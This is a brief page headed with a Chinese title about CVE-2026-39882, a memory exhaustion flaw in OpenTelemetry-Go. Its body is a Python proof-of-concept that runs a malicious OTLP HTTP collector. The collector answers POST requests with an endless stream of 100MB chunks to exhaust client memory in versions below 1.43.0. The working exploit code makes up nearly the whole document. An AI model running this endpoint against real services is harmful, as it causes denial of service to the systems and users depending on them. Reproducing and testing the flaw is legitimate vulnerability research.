CVE-2026-39882 OpenTelemetry-Go内存耗尽漏洞

#!/usr/bin/env python3 # PoC: Malicious OTLP HTTP Collector Simulator # This script simulates a collector endpoint that sends an infinite response # to trigger the memory exhaustion vulnerability in OpenTelemetry-Go < 1.43.0 from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousHandler(BaseHTTPRequestHandler): def do_POST(self): self.send_response(200) self.send_header('Content-Type', 'application/x-protobuf') self.end_headers() # Send a large amount of data to exhaust client memory # 100MB chunk size chunk = b'A' * (1024 * 1024 * 100) try: while True: self.wfile.write(chunk) except ConnectionResetError: pass if __name__ == '__main__': server = HTTPServer(('0.0.0.0', 4318), MaliciousHandler) print('Malicious OTLP Collector running on port 4318...') server.serve_forever()